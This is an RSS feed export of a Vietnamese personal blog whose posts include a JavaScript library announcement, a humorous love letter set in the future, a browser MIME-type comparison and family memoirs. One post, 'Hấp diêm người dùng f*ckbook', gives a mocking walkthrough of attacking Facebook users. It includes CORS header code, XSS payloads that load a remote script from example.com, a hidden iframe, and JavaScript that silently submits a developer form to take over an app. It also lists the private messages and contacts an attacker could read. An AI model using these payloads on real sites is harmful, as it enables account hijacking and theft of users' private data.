<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-311452429647504548</atom:id><lastBuildDate>Sat, 17 Mar 2012 09:56:46 +0000</lastBuildDate><category>file_exists</category><category>MVC</category><category>cá chọi</category><category>javascript</category><category>rock</category><category>internet explorer</category><category>php</category><category>metallica</category><category>redis</category><category>tóc vàng hoe</category><category>openmoko</category><category>multi-upload</category><category>secure</category><category>music</category><category>britney spear</category><category>benchmark</category><category>gun n' rose</category><category>type comparison</category><category>sql injection</category><category>is_dir</category><category>god father</category><category>Mime type</category><category>cô bé bán diêm</category><category>kurt cobain</category><category>android</category><category>betta</category><category>shell</category><category>Seasons In The Sun</category><category>jsdis</category><category>nirvana</category><category>kì thi 2009</category><category>license</category><category>xss</category><category>CSRF</category><category>trí thông minh</category><category>Lazy Loading</category><category>slash</category><title>canhnm's note</title><description></description><link>http://canhnm.opensource.com.vn/</link><managingEditor>noreply@blogger.com (canhnm)</managingEditor><generator>Blogger</generator><openSearch:totalResults>32</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-4334914118422379509</guid><pubDate>Sun, 13 Nov 2011 08:35:00 +0000</pubDate><atom:updated>2011-11-13T15:35:56.912+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>javascript</category><category domain='http://www.blogger.com/atom/ns#'>jsdis</category><category domain='http://www.blogger.com/atom/ns#'>redis</category><title>JSDIS</title><description>A javascript library to store data in key-value method in browser's localStorage with functions like redis!&lt;br /&gt;&lt;br /&gt;Release: https://github.com/canhnm/jsdis&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-4334914118422379509?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2011/11/jsdis.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-7905820694138926938</guid><pubDate>Sat, 27 Nov 2010 11:23:00 +0000</pubDate><atom:updated>2010-11-27T18:24:04.724+07:00</atom:updated><title>Thư tình thế kỷ 22</title><description>&lt;hr size="1" style="background-color: white; color: white;" /&gt;Anh ngồi bấu tay vào thành giường nhìn ra ngoài trời. Hình như mưa.  Mắt anh mấy ngày nay thấy nắng loà nhoà lại tưởng mưa, thấy mưa thì nhìn  như đang nắng xuống. Thằng chắt nội nói, mắt cụ nhìn không rõ nữa, cụ  đi đâu để cháu dắt. Nó nói thật em nhỉ, nhưng mình cần gì nó dắt, ví thử  có em đến ngoài ngõ kia, anh chẳng nhìn thấy rõ mồn một.&lt;br /&gt;&lt;br /&gt;Anh vẫn khoẻ. Mỗi ngày các cháu nó cho ăn năm bữa, mỗi bữa một bát cháo  đã nát nhừ. Anh chỉ dám viết thư cho em mà không dám gọi điện vì tiếng  của anh nói em chỉ có thể nghe như tiếng rừng phi lao xào xạc.&lt;br /&gt;&lt;br /&gt;Sáng nào anh cũng đi thể dục, đi từ mép giường ra tới bậc cửa sổ, vị chi  là bốn bước. Bốn bước mà đi mất hai giờ, mồ hôi đổ vã ra, sảng khoái  ghê!&lt;br /&gt;&lt;br /&gt;Nay con cháu đông rồi, anh không phải đánh máy như ngày xửa ngày xưa  nữa, các cháu giúp ông. Nhưng khi viết thư cho em, anh phải tự đánh máy  lấy. &lt;b&gt;Thư này anh viết từ mùa hè, giữa hè, đến đúng mùa đông thì xong,  mỗi ngày anh viết quần quật được hai dòng. Ngày nào viết đến ba dòng  thì phải truyền một lọ đạm.&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Nhớ cách đây chừng 50 năm em nhỉ, chúng mình chạy ào ào trên bãi biển.  Em thì lúc nào cũng hét lên: Thích quá cơ. Còn anh thì chạy theo sau  nhìn em, thấy đôi chân em trắng loáng trong ánh chiều hoàng hôn ở bãi  biển mà nhớ mãi. Giờ vẫn nhớ đấy. Hôm rồi, nhớ em quá bảo đứa cháu nó  đưa ra biển. Đinh nhấc chân bước, định hổn hển nhắc lại lời em nói,  thích quá cơ, nhưng suýt nữa người anh đổ chúi xuống vì gió biển thổi.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nhận được tin em đã hết ốm, đã ăn được mỗi bữa năm thìa cháo bột mà  mừng quá. Ăn năm thìa là tốt rồi, ăn nhiều quá không nên em ạ.&lt;/b&gt; Anh  khoẻ thế này mà chỉ ăn bốn thìa thôi là thấy no căng. Nhớ ngày xửa ngày  xưa vẫn thích ăn cơm nguội với nước cá kho. Vừa rồi, tự dưng thèm cơm  nguội cá kho, ăn một chút thôi mà miệng anh như ăn phải đá hộc, đau tê  tái.&lt;br /&gt;&lt;br /&gt;Anh nhắc nhé, nếu ngoài trời có gió là em không được ra ngoài. &lt;b&gt;Hôm  qua, mấy đứa cháu bảo ông ơi, ra sân hóng mát, gió nồm mát lắm ông ạ.  Theo chân nó vừa ra tới sân, ngọn gió nồm suýt thổi anh bay lên nóc nhà,  may có hai thằng cháu giữ chặt.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sắp tới ngày sinh nhật em nhỉ. Thế là em đã tròn tuổi 80.&lt;b&gt; Hôm đó anh  sẽ cố gắng điện thoại. Nhưng anh nói trước, nếu em nghe tiếng xào xào  tức là anh nói rằng em đấy hả. Khi nghe tiếng thùm thùm tức là anh đang  chúc em sinh nhật vui vẻ. Đến khi nghe tiếng phù phù nhiều lần là anh  đang hôn em.&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Nhớ hồi ấy, anh đưa hai tay lên nhấc bổng em quay mấy vòng giữa trời, em  cười rất to. Giờ anh nhìn lại đôi tay mình, hình như tay ai, nhìn rất  tội. Hôm qua anh cố nhấc con búp bê bé tý lên cao mà nghe tiếng xương  cốt kêu răng rắc, sợ quá nên thôi.&lt;br /&gt;&lt;br /&gt;Em ngủ ngon không?&lt;br /&gt;&lt;br /&gt;Anh chợp mắt từ chập tối. đến khoảng 9 giờ là dậy, ngồi, nhìn ra trời  đêm. Mấy đứa cháu nói ông ngủ ít quá. Anh bảo, thì đến khi ông ra đi,  xuống đất, ông ngủ cả ngày lo gì.&lt;br /&gt;&lt;br /&gt;Thỉnh thoảng, anh vẫn mở máy tính, xem lại mấy bài viết trên blog hồi  ấy, thấy rất vui. Chắc giờ mấy ông, mấy bà blogger cũng không còn mấy ai  nữa, lâu chẳng thấy ai vào blog nữa. Lũ cháu hỏi, ông ơi, blog là gì.  Chúng nó bây giờ chẳng có blog. Ngồi bô đi ị mà vẫn có màn hình máy tính  ở miệng bô, thích thật. Thời buổi giờ hiện đại quá, mình chẳng biết gì.  Nhà anh, có cái máy giặt, con cháu nó đi làm, điều khiển từ xa, điều  khiển cả rôbốt. Anh ngồi, rôbốt nó đến, nó cởi áo anh ra, nó gội đầu cho  anh, tắm táp, rồi còn mang áo quần đi giặt. Lũ trẻ bây giờ yêu nhau  cũng nhờ rôbốt làm hộ. Máy chữ không cần đánh, muốn viết gì, chỉ cần đọc  là máy tính tự gõ chữ. Nhưng tiếng anh phì phèo quá nên máy chữ nó đánh  sai hết cả. Ai đời anh viết, em ơi, anh nhớ em lắm nhưng vì miệng anh  móm mém phì phò nên máy nó nghe không rõ, nó đánh thành: &lt;b&gt;Phem phơi, phanh phớ phem phắm.&lt;/b&gt; Thế mới bực!&lt;br /&gt;&lt;br /&gt;Anh không muốn gọi em là bà. Cứ gọi nhau bằng anh, bằng em thế nghe ngọt ngào. Hai ngày nữa anh tròn 90 tuổi. Anh đợi thư em.&lt;br /&gt;&lt;br /&gt;Mà nếu không gửi được thư thì bảo rôbốt nó mang thư đến cho anh em nhé.&lt;br /&gt;&lt;br /&gt;Anh dừng bút.&lt;br /&gt;&lt;br /&gt;Thắng chắt nội đang mang chén cháo bột đến để cho anh ăn.&lt;br /&gt;&lt;br /&gt;Chúc em ngủ ngon nhé. Nhớ đừng ra gió.&lt;br /&gt;&lt;br /&gt;S/T&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-7905820694138926938?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/11/thu-tinh-ky-22.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-6229124581475659206</guid><pubDate>Wed, 24 Nov 2010 14:05:00 +0000</pubDate><atom:updated>2010-11-24T21:09:36.781+07:00</atom:updated><title>Hấp diêm người dùng f*ckbook</title><description>Có thể tham khảo thêm 1 số article tôi collect lại về &lt;a href="http://canhnm.opensource.com.vn/search/label/CSRF"&gt;Crossite Request Forgery&lt;/a&gt; để hiểu rõ bản chất của cách tấn công này :-)&lt;br /&gt;&lt;br /&gt;Trong bài viết (&lt;span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"  style="font-size:100%;"&gt;Hacking&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"  style="font-size:100%;"&gt;Facebook&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"  style="font-size:100%;"&gt;with&lt;/span&gt;&lt;span style="font-size:100%;"&gt; HTML5&lt;/span&gt;- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook&lt;/span&gt;&lt;/span&gt;) của mình trên blog &lt;a style="font-weight: bold;" class="url fn n" href="http://m-austin.com/blog/?p=19" title="View all posts by matt"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;matt&lt;/span&gt;&lt;/a&gt; đã cho thấy ngoài những &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;features&lt;/span&gt; đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|&lt;br /&gt;&lt;br /&gt;2 điểm cốt yếu là &lt;span style="font-weight: bold;"&gt;HTTP &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;access&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;control&lt;/span&gt;&lt;/span&gt; hoặc &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Cross&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Origin&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;Resource&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Sharing&lt;/span&gt;&lt;/span&gt;. 2 thứ này cho phép trình duyệt tạo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;ajax&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;request&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;cross&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;domain&lt;/span&gt; (thực ra hiện tại cũng có thể dùng &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;tricks&lt;/span&gt; để thực hiện &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;request&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;cross&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;domain&lt;/span&gt; được rầu, không nhất thiết phải chờ đến HTML5)&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Exploit&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;Điểm chính là 1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;code&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;php&lt;/span&gt; để chèn thêm 1 vài &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;headers&lt;/span&gt; nhằm qua mặt thằng phờ bờ :-"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt; ?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;// Specify domains from which requests are allowed&lt;/span&gt;&lt;br /&gt;header(&lt;span style="color: rgb(0, 102, 0);"&gt;'Access-Control-Allow-Origin: *'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;// Specify which request methods are allowed&lt;/span&gt;&lt;br /&gt;header(&lt;span style="color: rgb(0, 102, 0);"&gt;'Access-Control-Allow-Methods: GET, POST, OPTIONS'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;// Additional headers which may be sent along with the CORS request &lt;/span&gt;&lt;br /&gt;header(&lt;span style="color: rgb(0, 102, 0);"&gt;'Access-Control-Allow-Headers: X-Requested-With'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;// Exit early so the page isn't fully loaded for options requests&lt;/span&gt;&lt;br /&gt;if (strtolower(&lt;span style="color: rgb(204, 102, 0);"&gt;$_SERVER&lt;/span&gt;[&lt;span style="color: rgb(0, 102, 0);"&gt;'REQUEST_METHOD'&lt;/span&gt;]) == &lt;span style="color: rgb(0, 102, 0);"&gt;'options'&lt;/span&gt;) {&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;?&gt;&lt;/span&gt;&lt;br /&gt;Đoạn &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;code&lt;/span&gt; sau cần &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;load&lt;/span&gt; ở &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;payload&lt;/span&gt; :&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt; tab="home_menu" id="feed_tabbox" 0nreplace="fb.updateCurrentPage()"&gt;&lt;br /&gt;&lt; !mg style="d!splay:none" src="x" 0nerror="al3rt('xss')" /&gt;&lt;br /&gt;&lt;/blockquote&gt;Chú ý cái đoạn &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;onerror&lt;/span&gt; nhá, thằng blogger của ông google cũng dính chưởng á =))&lt;br /&gt;&lt;br /&gt;Giờ thì cứ đàng hoàng mà &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;load&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;extend&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;script&lt;/span&gt; vào để chơi với nạn nhân thôi :-"&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;0nerror&lt;/span&gt;="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"&lt;/blockquote&gt;Với tình trạng hiện giờ của anh Phắc Búc này thì cứ điềm nhiên mà load 1 iframe với bất cứ cái gì mà bạn thích vào :&lt;br /&gt;&lt;blockquote&gt;&lt; src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:130%;" &gt;Rầu giờ thì bạn có thể làm gì với nạn nhân??? điểm mặt quan trọng nà &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Biết được nạn nhân là ai&lt;br /&gt;* Xem các ảnh&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Đọc tin nhắn&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Đọc tin nhắn đã gửi&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Gửi tin nhắn&lt;/span&gt; ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Đọc được cơ số các thông tin mật khác&lt;/span&gt; (e-mail, phone, bạn bè)&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Thêm bạn&lt;/span&gt; (add friends)&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;Đăng comments&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:georgia;" &gt;chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :&lt;br /&gt;Sử dụng "document.domain"bởi vì thằng "&lt;span style="font-weight: bold;"&gt;http://touch.facebook.com" &lt;/span&gt;là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;document.domain = 'facebook.com'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;uid = 501558012;&lt;br /&gt;app_id = 123456789012332;&lt;br /&gt;function Image(){&lt;br /&gt;// this should kill the click jacking report&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// create a new iframe we will use to load facebook.com&lt;br /&gt;var tempIFrame=document.createElement('iframe');&lt;br /&gt;&lt;br /&gt;tempIFrame.setAttribute('id','RSIFrame');&lt;br /&gt;&lt;br /&gt;// attach the iframe to the page&lt;br /&gt;IFrameObj = document.body.appendChild(tempIFrame);&lt;br /&gt;&lt;br /&gt;//once its loaded create a new form element and post the form&lt;br /&gt;IFrameObj.onload = function(){&lt;br /&gt;doc = IFrameObj.contentWindow.document;&lt;br /&gt;IFrameObj.contentWindow.onbeforeleavehooks = [];&lt;br /&gt;&lt;br /&gt;new_element = doc.createElement("input");&lt;br /&gt;new_element.setAttribute("type", "hidden");&lt;br /&gt;new_element.setAttribute("name", "new_dev_friends[]");&lt;br /&gt;new_element.setAttribute("id", "new_dev_friends_" uid);&lt;br /&gt;new_element.setAttribute("value", uid);&lt;br /&gt;doc.forms['editapp'].appendChild(new_element);&lt;br /&gt;doc.forms['editapp'].submit();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// load the iframe&lt;br /&gt;IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id=' app_id&lt;/blockquote&gt;Trình duyệt phía nạn nhân sẽ thực hiện cho bạn, ajax load payload và ta sử dụng DOM để load iframe vào nhằm thực hiện ý đồ đen tối :-"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lưu ý :&lt;br /&gt;+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"&gt; mềnh chỉ tóm gọn lại hộ thôi =))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Hết ạ!!!&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-6229124581475659206?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/11/hap-diem-nguoi-dung-fckbook.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-940621110512166387</guid><pubDate>Fri, 26 Feb 2010 02:47:00 +0000</pubDate><atom:updated>2010-02-26T10:19:54.651+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Mime type</category><category domain='http://www.blogger.com/atom/ns#'>internet explorer</category><title>Lại là IE</title><description>Firefox&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array&lt;br /&gt;(&lt;br /&gt;   [name] =&gt; 7687.png&lt;br /&gt;   &lt;span style="font-weight: bold;"&gt;[type] =&gt; image/png&lt;/span&gt;&lt;br /&gt;   [tmp_name] =&gt; D:\xampp\tmp\phpB07.tmp&lt;br /&gt;   [error] =&gt; 0&lt;br /&gt;   [size] =&gt; 14618&lt;br /&gt;&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;IE 8&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array&lt;br /&gt;(&lt;br /&gt; [name] =&gt; 7687.png&lt;br /&gt; &lt;span style="font-weight: bold;"&gt;[type] =&gt; image/x-png&lt;/span&gt;&lt;br /&gt; [tmp_name] =&gt; D:\xampp\tmp\phpA7E.tmp&lt;br /&gt; [error] =&gt; 0&lt;br /&gt; [size] =&gt; 14618&lt;br /&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;IE6&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array (&lt;br /&gt;   [name] =&gt; 7687.png&lt;br /&gt;   &lt;span style="font-weight: bold;"&gt;[type] =&gt; image/x-png&lt;/span&gt;&lt;br /&gt;   [tmp_name] =&gt; D:\xampp\tmp\phpB05.tmp&lt;br /&gt;   [error] =&gt; 0 [size] =&gt; 14618&lt;br /&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Chrome&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array (&lt;br /&gt;  [name] =&gt; 7687.png&lt;br /&gt;  &lt;span style="font-weight: bold;"&gt;[type] =&gt; image/png&lt;/span&gt;&lt;br /&gt;  [tmp_name] =&gt; D:\xampp\tmp\phpA81.tmp&lt;br /&gt;  [error] =&gt; 0 [size] =&gt; 14618&lt;br /&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Opera&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array (&lt;br /&gt;   [name] =&gt; 7687.png&lt;br /&gt;   &lt;span style="font-weight: bold;"&gt;[type] =&gt; image/png&lt;/span&gt;&lt;br /&gt;   [tmp_name] =&gt; D:\xampp\tmp\phpAE7.tmp&lt;br /&gt;   [error] =&gt; 0 [size] =&gt; 14618&lt;br /&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Safari&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Array &lt;br /&gt;( &lt;br /&gt;    [name] =&gt; 7687.png&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;[type] =&gt; image/png&lt;/span&gt;&lt;br /&gt;    [tmp_name] =&gt; D:\xampp\tmp\phpB11.tmp &lt;br /&gt;    [error] =&gt; 0 [size] =&gt; 14618 &lt;br /&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;So sánh mấy mảng trả về từ form upload cái ảnh png, ông IE nhà ta chơi 1 mình một MIME =)) check vỡ mẹt :|&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-940621110512166387?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/02/lai-la-ie.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-7471071604787934763</guid><pubDate>Tue, 23 Feb 2010 03:45:00 +0000</pubDate><atom:updated>2010-02-23T11:03:02.256+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>openmoko</category><category domain='http://www.blogger.com/atom/ns#'>android</category><title>openmoko &amp; android</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.geardiary.com/wp-content/uploads/2009/02/dscf0438-500x375.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 500px; height: 375px;" src="http://www.geardiary.com/wp-content/uploads/2009/02/dscf0438-500x375.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3339/3261634629_d33de9368e.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 375px; height: 500px;" src="http://farm4.static.flickr.com/3339/3261634629_d33de9368e.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hí hí bé nài có nhiều cái để vọc đây.&lt;br /&gt;Hiện giờ bé đang run on android.&lt;br /&gt;&lt;br /&gt;Không lẽ cài mấy cái OS base on Debian lên để vọc nữa :-j&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-7471071604787934763?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/02/openmoko-android.html</link><author>noreply@blogger.com (canhnm)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3339/3261634629_d33de9368e_t.jpg' height='72' width='72'/><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-3976164634166660708</guid><pubDate>Tue, 19 Jan 2010 15:18:00 +0000</pubDate><atom:updated>2010-01-19T22:34:03.309+07:00</atom:updated><title>Già</title><description>Già là chị gái của ông ngoại,năm nay già 90 tuổi. Ký ức của mình về ông ngoại không nhiều, chỉ còn nhớ mang máng được bố cho vào bệnh viên thăm ông đang phải cắt chân từ đầu gối xuống vì bị hoại tử. Ông tham gia kháng chiến chống pháp bị bắt và tra tấn hỏng chân. Ông mất từ khi mình còn nhỏ.&lt;br /&gt;&lt;br /&gt;Hồi trẻ già cũng đã lấy chồng, có được 1 mụn con, nhưng bác chỉ sống được đến tháng thứ 7. Rồi chồng già lên Phú Thọ làm thuê nhưng già không theo, già nói nhà chỉ có 2 chị em nếu già đi thì không ai ở nhà hương khói tổ tiên. Vậy là già ở nhà 1 mình, cũng không ở với em trai, già ở trong căn nhà nhỏ, xung quanh cây cối xanh um. Hồi nhỏ về quê mình thích ra vườn nhà già vì có nhiều loại quả để hái.&lt;br /&gt;&lt;br /&gt;Già với bà ngoại không hợp nhau, nhưng già vẫn sống vậy, không đi bước nữa. Già vẫn đội 1 cái khăn trắng, để chờ chồng. Hồi bà ngoại mất già mắt đỏ hoe, già còn sức nữa đâu mà khóc, không nói nhưng ai cũng biết già không để bụng chuyện chị chồng em dâu.&lt;br /&gt;Trong nhà già vẫn thấy treo bức ảnh mà nhìn không rõ là ai. Sau mới biết đấy là chồng già.&lt;br /&gt;&lt;br /&gt;Năm ngoái già yếu quá tưởng mất, báo tin cho con riêng của chồng già ở Phú Thọ lên đông lắm. Năm nay mình lên già vẫn béo tốt, ăn được khá nhiều. Chỉ có điều già lẫn quá, vào đến cửa già thấy bóng người hỏi, vừa nói tên xong, nói chuyện với già được vài câu già lại hỏi ai thế?. Các con cháu cho tiền già cất hết dưới gối, già bảo để có lễ tết thì già đưa cho cậu mua đồ.&lt;br /&gt;Lúc về già vẫn như ngày xưa, hỏi thăm đi lại thế nào. Hồi nhỏ mỗi lần ra nhà già lại thấy già còng còng ra sau vườn vặt quả cho mình. Nhiều lần về chơi lâu lâu, mỗi khi đi già lại khóc&lt;br /&gt;Người lớn trong nhà ai cũng bảo già khó tính vì sống 1 mình, nhưng các cháu ra chơi già rất quý.&lt;br /&gt;Giờ già yếu quá, không đi lại được nữa, chỉ nằm 1 chỗ.&lt;br /&gt;Không biết đến lúc nào...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-3976164634166660708?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/01/gia.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-7656449053286385490</guid><pubDate>Sun, 10 Jan 2010 08:05:00 +0000</pubDate><atom:updated>2010-01-10T15:30:36.997+07:00</atom:updated><title>Năm mới.</title><description>Năm mới cũng lâu rồi mà giờ mới  có thời gian ngồi viết mấy dòng để nhìn lại 2009.&lt;br /&gt;So với 2008 thì 2009 cũng có gọi là thay đổi, thay đổi nơi làm việc. Thay đổi cách làm việc. Thay đổi cách nghĩ. Thay đổi nhiều đấy chứ ???&lt;br /&gt;&lt;br /&gt;Đôi khi vẫn giật mình nhớ lại những khi đi trên đường nhưng đầu thì nghĩ về thứ gì đó đâu đâu, kim chỉ km vọt 